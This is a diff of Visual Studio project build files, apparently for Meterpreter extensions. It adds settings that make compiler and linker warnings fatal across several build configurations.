<WarningLevel>Level3</WarningLevel>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@ -177,6 +179,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@ -211,6 +214,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@ -250,6 +254,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@ -300,6 +305,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@ -352,6 +358,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@ -402,6 +409,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
|
@ -166,6 +166,7 @@
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
@ -227,6 +228,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
@ -400,6 +402,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
@ -461,6 +464,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
|
Loading…
x
Reference in New Issue
Block a user